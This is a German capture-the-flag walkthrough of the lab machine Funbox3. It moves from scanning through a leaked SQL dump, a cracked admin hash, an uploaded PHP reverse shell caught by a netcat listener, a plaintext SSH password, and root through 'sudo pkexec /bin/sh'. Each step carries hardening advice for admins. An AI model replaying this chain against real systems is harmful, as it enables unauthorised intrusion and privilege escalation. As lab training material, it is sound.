192.168.2.111 08:00:27:38:9d:9a PCS Systemtechnik GmbH
Analyse: `arp-scan -l` wird zur Identifizierung aktiver Geräte im lokalen Netzwerk mittels ARP-Anfragen verwendet.
Bewertung: Ein Host mit der IP `192.168.2.111` (VirtualBox VM) wird als Ziel "Funbox3 - Easy" identifiziert.
Empfehlung (Pentester): Verwende `192.168.2.111` als Ziel-IP.
Empfehlung (Admin): Netzwerk-Monitoring.
192.168.2.111 easy.vln
Analyse: Lokale `/etc/hosts` wird bearbeitet, um `192.168.2.111` dem Namen `easy.vln` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Hostnamen `easy.vln` verwenden.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.
- Nikto v2.5.0 [...] + Target IP: 192.168.2.111 + Target Hostname: 192.168.2.111 + Target Port: 80 + Start Time: 2023-07-20 23:34:07 (GMT2) [...] + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + /index.php?: Cookie PHPSESSID created without the httponly flag. [...] + /robots.txt: contains 1 entry which should be manually viewed. [...] + Apache/2.4.41 appears to be outdated [...]. + Multiple index files found: /index.html, /index.php. + /: Server may leak inodes via ETags [...] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /admin/: This might be interesting. + /secret/: This might be interesting. + /store/: This might be interesting. + /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner. [...] + End Time: 2023-07-20 23:34:17 (GMT2) (10 seconds) [...]
Analyse: Der Webscanner `nikto` findet auf Port 80: * Veralteten Apache 2.4.41 (Ubuntu). * Fehlende Sicherheitsheader und `HttpOnly`-Flag für Session-Cookie. * Eine `robots.txt`-Datei. * Mehrere Index-Dateien (`index.html`, `index.php`). * Potenziell interessante Verzeichnisse: `/admin/`, `/secret/`, `/store/`. **Datum extrahiert:** 2023-07-20.
Bewertung: Der Webserver bietet mehrere Angriffspunkte. Die Verzeichnisse `/admin/`, `/secret/` und `/store/` sind die Hauptziele für weitere Enumeration. Die veraltete Apache-Version könnte ebenfalls Schwachstellen enthalten.
Empfehlung (Pentester): Untersuche `robots.txt`. Führe Verzeichnis-Scans (`gobuster`, `dirb`) auf `/`, `/admin/`, `/secret/`, `/store/` durch. Recherchiere Schwachstellen für Apache 2.4.41.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader und setze `HttpOnly` für Cookies. Sichere Admin- und andere potenziell sensible Verzeichnisse.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-20 23:34 CEST Nmap scan report for easy.vln (192.168.2.111) Host is up (0.00011s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: [...] 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/gym |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.41 (Ubuntu) 33060/tcp open mysqlx? | fingerprint-strings: [...] [...] MAC Address: 08:00:27:38:9D:9A (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms easy.vln (192.168.2.111) [...]
Analyse: Der vollständige Nmap-Scan (`-A` für OS/Version/Skripte/Traceroute) identifiziert drei offene Ports: * Port 22 (SSH): OpenSSH 8.2p1 (Ubuntu). * Port 80 (HTTP): Apache 2.4.41 (Ubuntu). `robots.txt` verbietet `/gym`. * Port 33060 (mysqlx?): MySQL X Protocol, wird für die neuere MySQL-API verwendet. Nmap kann den Dienst nicht vollständig identifizieren.
Bewertung: Bestätigt die Dienste SSH und HTTP. Der offene Port 33060 für MySQL X Protocol ist bemerkenswert, könnte aber für eine "Easy"-Box ein Rabbit Hole sein. Der `robots.txt`-Eintrag `/gym` ist neu und widerspricht dem von Nikto nicht gezeigten Eintrag.
Empfehlung (Pentester): Untersuche `/gym` auf dem Webserver. Konzentriere dich auf die von Nikto gefundenen Verzeichnisse (`/admin`, `/secret`, `/store`). Behalte SSH und MySQLX im Hinterkopf.
Empfehlung (Admin): Aktualisiere Apache und OpenSSH. Beschränke den Zugriff auf den MySQLX-Port (33060) vom Netzwerk, wenn nicht benötigt.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 33060/tcp open mysqlx?
Analyse: Bestätigt die offenen Ports 22, 80 und 33060.
Bewertung: Schnellübersicht.
Empfehlung (Pentester/Admin): Siehe vorheriger Nmap-Scan.
# Inhalt von http://easy.vln/robots.txt Disallow: gym
Analyse: Der Inhalt der `robots.txt` wird überprüft (basierend auf dem Nmap-Scan).
Bewertung: Der Eintrag weist auf das Verzeichnis `/gym` hin, das von Suchmaschinen ignoriert werden soll.
Empfehlung (Pentester): Untersuche den Inhalt von `http://easy.vln/gym/` manuell oder mit Scan-Tools.
Empfehlung (Admin): Stelle sicher, dass `robots.txt` keine sensiblen Pfade preisgibt.
[...] http://easy.vln/index.html (Status: 200) [Size: 10918] http://easy.vln/index.php (Status: 200) [Size: 3468] http://easy.vln/profile.php (Status: 302) [Size: 7247] [--> http://easy.vln/index.php] http://easy.vln/header.php (Status: 200) [Size: 1666] http://easy.vln/store (Status: 301) [Size: 304] [--> http://easy.vln/store/] http://easy.vln/admin (Status: 301) [Size: 304] [--> http://easy.vln/admin/] http://easy.vln/registration.php (Status: 200) [Size: 9409] http://easy.vln/logout.php (Status: 200) [Size: 75] http://easy.vln/robots.txt (Status: 200) [Size: 14] http://easy.vln/dashboard.php (Status: 302) [Size: 10272] [--> http://easy.vln/index.php] http://easy.vln/secret (Status: 301) [Size: 305] [--> http://easy.vln/secret/] http://easy.vln/leftbar.php (Status: 200) [Size: 1837] http://easy.vln/forgot-password.php (Status: 200) [Size: 2763] [...]
Analyse: `gobuster` findet zahlreiche PHP-Dateien und bestätigt die von Nikto gefundenen Verzeichnisse `/store/`, `/admin/` und `/secret/`. `/gym` wird nicht gefunden.
Bewertung: Die Webanwendung ist umfangreich. Die Verzeichnisse `/store/`, `/admin/` und `/secret/` sowie das in `robots.txt` gefundene `/gym` sind die Hauptziele. Viele PHP-Seiten deuten auf eine Webanwendung mit Benutzerverwaltung hin (`profile.php`, `registration.php`, `logout.php`, `dashboard.php`, `forgot-password.php`).
Empfehlung (Pentester): Untersuche die Verzeichnisse `/gym`, `/store`, `/admin`, `/secret`. Teste die Registrierungs- und Passwort-Vergessen-Funktionen. Suche nach Schwachstellen in den PHP-Skripten (LFI, RCE, SQLi).
Empfehlung (Admin): Sichere alle Verzeichnisse und Skripte ab. Implementiere sichere Authentifizierungs- und Passwort-Reset-Prozesse.
-- phpMyAdmin SQL Dump -- version 4.1.6 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: May 17, 2014 at 07:29 AM -- Server version: 5.5.36 -- PHP Version: 5.4.25 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; [...] -- -- Database: `www_project` -- [...] -- Table structure for table `admin` -- CREATE TABLE IF NOT EXISTS `admin` ( `name` varchar(20) NOT NULL, `pass` varchar(40) NOT NULL, PRIMARY KEY (`name`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `admin` -- INSERT INTO `admin` (`name`, `pass`) VALUES ('admin', 'd033e22ae348aeb5660fc2140aec35850c4da997'); [...]
[...] -- Dumping data for table `admin` -- INSERT INTO `admin` (`name`, `pass`) VALUES ('admin', 'd033e22ae348aeb5660fc2140aec35850c4da997'); [...]
Analyse: Der Zugriff auf `http://easy.vln/gym/table.sql` (basierend auf dem `robots.txt`-Eintrag `/gym`) ist erfolgreich und liefert einen SQL-Dump. Der Dump enthält die Struktur und Daten verschiedener Tabellen, darunter eine `admin`-Tabelle mit dem Eintrag `admin` und dem Hash `d033e22ae348aeb5660fc2140aec35850c4da997`.
Bewertung: **Kritischer Fund!** Ein SQL-Dump mit Admin-Zugangsdaten wurde direkt über eine URL gefunden. Der Hash `d033e22ae348aeb5660fc2140aec35850c4da997` muss geknackt werden.
Empfehlung (Pentester): Identifiziere den Hash-Typ (sieht nach SHA1 aus) und versuche, ihn mit Online-Tools (wie Crackstation) oder Offline-Tools (`john`, `hashcat`) zu knacken. Versuche, dich mit den geknackten Credentials in den Bereichen `/admin` oder `/store` anzumelden.
Empfehlung (Admin): **Dringend!** Entferne SQL-Dumps oder andere sensible Dateien aus Web-zugänglichen Verzeichnissen. Verwende starke, gesaltete Hashing-Algorithmen für Passwörter.
# https://crackstation.net/
Hash: d033e22ae348aeb5660fc2140aec35850c4da997
Type: sha1
Result: admin
[...] to connect the admin section, click the name Nghi Le Thanh at the bottom. the name and pass for log in is admin , admin. Just to make it simple. [...]
Analyse: Der SHA1-Hash `d033e22ae348aeb5660fc2140aec35850c4da997` wird erfolgreich mit einem Online-Tool (Crackstation) geknackt. Das Ergebnis ist `admin`. Zusätzlich wird ein Kommentar aus dem SQL-Dump oder einer Projektbeschreibung zitiert, der explizit `admin`/`admin` als Login für den Admin-Bereich nennt.
Bewertung: Die Admin-Zugangsdaten (`admin` / `admin`) sind bestätigt.
Empfehlung (Pentester): Melde dich im Admin-Bereich (`/admin` oder `/store/admin.php`) mit `admin:admin` an und suche nach einer Möglichkeit zur Codeausführung (z.B. Dateiupload).
Empfehlung (Admin): Verwende niemals Standard- oder einfache Passwörter. Entferne Kommentare mit Zugangsdaten.
# Login auf http://easy.vln/store/admin.php mit admin:admin # Navigation zu "Add new book" # Upload einer PHP-Reverse-Shell (shell.php) als "Image"
# http://192.168.2.111/store/bootstrap/img/ [...] [ ] shell.php 2023-07-20 23:13 5.4K [...]
Analyse: Nach dem Login im Admin-Bereich des Stores (`/store/admin.php`) mit `admin:admin` wird eine Funktion zum Hinzufügen neuer Bücher gefunden. Diese Funktion erlaubt offenbar das Hochladen von Dateien, die als Buch-Cover ("Image") gedacht sind. Es wird eine PHP-Reverse-Shell (`shell.php`) hochgeladen. Das Verzeichnislisting unter `/store/bootstrap/img/` bestätigt, dass die `shell.php`-Datei erfolgreich hochgeladen wurde.
Bewertung: Eine klassische ungefilterte Dateiupload-Schwachstelle wurde gefunden und ausgenutzt. Dies ermöglicht das Hochladen und Ausführen von beliebigem PHP-Code auf dem Server im Kontext des Webserver-Benutzers (`www-data`).
Empfehlung (Pentester): Starte einen Netcat-Listener auf dem Angreifer-System und rufe dann die URL der hochgeladenen Shell (`http://easy.vln/store/bootstrap/img/shell.php`) auf, um die Reverse Shell zu triggern.
Empfehlung (Admin): **Kritisch!** Implementiere strenge serverseitige Validierung für Dateiuploads: Überprüfe Dateitypen (MIME-Type, Endung), Dateigröße und Dateiinhalte. Speichere hochgeladene Dateien nicht in Web-zugänglichen Verzeichnissen oder mit ausführbaren Berechtigungen. Benenne hochgeladene Dateien sicher um.
listening on [any] 9001 ...
# Aufruf von http://192.168.2.111/store/bootstrap/img/shell.php
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.117] 42458 Linux funbox3 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 23:15:16 up 3 min, 0 users, load average: 0.03, 0.06, 0.02 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Nach dem Aufrufen der URL der hochgeladenen `shell.php` meldet der Listener eine eingehende Verbindung. Der `id`-Befehl (implizit durch die Shell-Ausgabe) bestätigt, dass die Shell als Benutzer `www-data` läuft.
Bewertung: Der initiale Zugriff als `www-data` wurde erfolgreich über die Dateiupload-Schwachstelle und die Reverse Shell erlangt.
Empfehlung (Pentester): Stabilisiere die Shell, falls nötig. Beginne mit der Enumeration für Privilege Escalation.
Empfehlung (Admin): Behebe die Upload-Schwachstelle. Überwache Netzwerkverbindungen vom Webserver.
total 12 drwxr-xr-x 3 root root 4096 Jul 30 2020 . drwxr-xr-x 20 root root 4096 Jul 30 2020 .. drwxr-xr-x 3 tony tony 4096 Jul 31 2020 tony
total 36 drwxr-xr-x 3 tony tony 4096 Jul 31 2020 . drwxr-xr-x 3 root root 4096 Jul 30 2020 .. -rw------- 1 tony tony 30 Jul 31 2020 .bash_history -rw-r--r-- 1 tony tony 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 tony tony 3771 Feb 25 2020 .bashrc drwxr-xr-x 2 tony tony 4096 Jul 30 2020 .cache -rw-r--r-- 1 tony tony 807 Feb 25 2020 .profile -rw-r--r-- 1 tony tony 0 Jul 30 2020 .sudo_as_admin_successful -rw------- 1 tony tony 1576 Jul 31 2020 .viminfo -rw-rw-r-- 1 tony tony 70 Jul 31 2020 password.txt
ssh: yxcvbnmYYY gym/admin: asdfghjklXXX /store: admin@admin.com admin
Analyse: Als `www-data` wird das `/home`-Verzeichnis untersucht. Der Benutzer `tony` wird gefunden. Im Home-Verzeichnis von `tony` (`/home/tony`) wird eine Datei `password.txt` entdeckt, die für `www-data` lesbar ist (`-rw-rw-r--`). Der Inhalt der Datei listet verschiedene Zugangsdaten auf, darunter `ssh: yxcvbnmYYY`.
Bewertung: **Kritischer Fund!** Eine schlecht gesicherte Datei (`password.txt`) im Home-Verzeichnis von `tony` enthält dessen SSH-Passwort (`yxcvbnmYYY`). Dies ermöglicht einen horizontalen Wechsel zum Benutzer `tony`.
Empfehlung (Pentester): Verwende die gefundenen Zugangsdaten, um dich per SSH als Benutzer `tony` anzumelden (`ssh tony@easy.vln`).
Empfehlung (Admin): Speichere niemals Passwörter im Klartext. Setze korrekte, restriktive Berechtigungen für Dateien in Home-Verzeichnissen (`chmod 600 password.txt` wäre angemessen).
The authenticity of host '192.168.2.117 (192.168.2.117)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
tony@192.168.2.117's password: yxcvbnmYYY
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
[...]
Last login: Fri Jul 31 15:46:21 2020 from 192.168.178.143
tony@funbox3$
Analyse: Eine SSH-Verbindung wird als Benutzer `tony` mit dem Passwort `yxcvbnmYYY` (aus `password.txt`) hergestellt. Der Login ist erfolgreich.
Bewertung: Der Wechsel zum Benutzer `tony` wurde erfolgreich durchgeführt. Wir haben nun eine Shell mit den Rechten dieses Benutzers.
Empfehlung (Pentester): Führe `sudo -l` und andere Enumerationsschritte als `tony` durch, um Wege zur Root-Privilege-Escalation zu finden.
Empfehlung (Admin): Ändere das kompromittierte Passwort für `tony`. Überprüfe die Notwendigkeit und Sicherheit der `password.txt`-Datei.
Matching Defaults entries for tony on funbox3: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User tony may run the following commands on funbox3: (root) NOPASSWD: /usr/bin/yelp (root) NOPASSWD: /usr/bin/dmf (root) NOPASSWD: /usr/bin/whois (root) NOPASSWD: /usr/bin/rlogin (root) NOPASSWD: /usr/bin/pkexec (root) NOPASSWD: /usr/bin/mtr (root) NOPASSWD: /usr/bin/finger (root) NOPASSWD: /usr/bin/time (root) NOPASSWD: /usr/bin/cancel (root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh
Analyse: Der Befehl `sudo -l` zeigt die `sudo`-Berechtigungen für `tony` an.
Bewertung: **Kritischer Fund!** Der Benutzer `tony` kann eine lange Liste von Befehlen, darunter `/usr/bin/pkexec`, als `root` ohne Passwort (`NOPASSWD`) ausführen. `pkexec` wird verwendet, um Befehle als ein anderer Benutzer (standardmäßig root) auszuführen.
Empfehlung (Pentester): Nutze die `sudo`-Regel für `pkexec`, um direkt eine Root-Shell zu erhalten: `sudo /usr/bin/pkexec /bin/sh` oder `sudo pkexec /bin/sh`.
Empfehlung (Admin): **Dringend!** Überprüfe und korrigiere die `sudoers`-Konfiguration. Die erlaubte Ausführung von `pkexec` (und vielen anderen der gelisteten Befehle) als Root ohne Passwort ist extrem gefährlich und gleichbedeutend mit Root-Zugriff. Gewähre `sudo`-Rechte nach dem Prinzip der geringsten Rechte.
Analyse: Die Privilege Escalation wird durch Ausnutzung einer unsicheren `sudo`-Regel erreicht. Der Benutzer `tony` darf `/usr/bin/pkexec` mittels `sudo` ohne Passwort als `root` ausführen. Da `pkexec` dazu dient, Befehle als anderer Benutzer (standardmäßig `root`) zu starten, kann `tony` `pkexec` anweisen, eine Shell (`/bin/sh`) als `root` zu starten.
Bewertung: Dies ist eine direkte und einfache Methode zur Privilege Escalation, die auf einer Fehlkonfiguration in der `sudoers`-Datei basiert.
Empfehlung (Pentester): Führe `sudo /usr/bin/pkexec /bin/sh` aus, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Entferne die unsichere `sudo`-Regel, die `tony` erlaubt, `pkexec` und andere potenziell gefährliche Befehle als `root` ohne Passwort auszuführen.
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Befehl `sudo -u root pkexec /bin/sh` wird ausgeführt. * `sudo`: Führt den Befehl mit erhöhten Rechten aus (gemäß `sudoers`). * `-u root`: Spezifiziert, dass der Befehl als Benutzer `root` ausgeführt werden soll (obwohl dies bei `pkexec` oft Standard ist). * `pkexec`: Das Programm, das ausgeführt werden darf. * `/bin/sh`: Der Befehl, den `pkexec` als `root` starten soll. Der Befehl ist erfolgreich und liefert sofort einen Root-Shell-Prompt (`#`). Der `id`-Befehl bestätigt `uid=0(root)`.
Bewertung: Die Privilege Escalation war erfolgreich durch Ausnutzung der unsicheren `sudo`-Regel.
Empfehlung (Pentester): Suche nach der Root-Flag.
Empfehlung (Admin): Entferne die gefährliche `sudoers`-Regel.
root.flag snap
__________ ___. ___________ \_ _____/_ __ ____\_ |__ _______ ___ /\ \_ _____/____ _________.__. | __)| | \/ \| __ \ / _ \ \/ / \/ | __)_\__ \ / ___< | | | \ | | / | \ \_\ ( <_> > < /\ | \/ __ \_\___ \ \___ | \___ / |____/|___| /___ /\____/__/\_ \ \/ /_______ (____ /____ >/ ____| \/ \/ \/ \/ \/ \/ \/ \/ Made with ❤ from twitter@0815R2d2. Please, share this on twitter if you want.
Analyse: Als `root` wird das Verzeichnis `/root` aufgelistet. Die Datei `root.flag` wird gefunden und ihr Inhalt angezeigt.
Bewertung: Die Root-Flag (in Form der ASCII-Art und Nachricht) wurde erfolgreich gefunden.
Empfehlung (Pentester): Dokumentiere die Flag. Suche die User-Flag (vermutlich `/home/tony/user.txt`, wurde im Log nicht explizit geholt).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.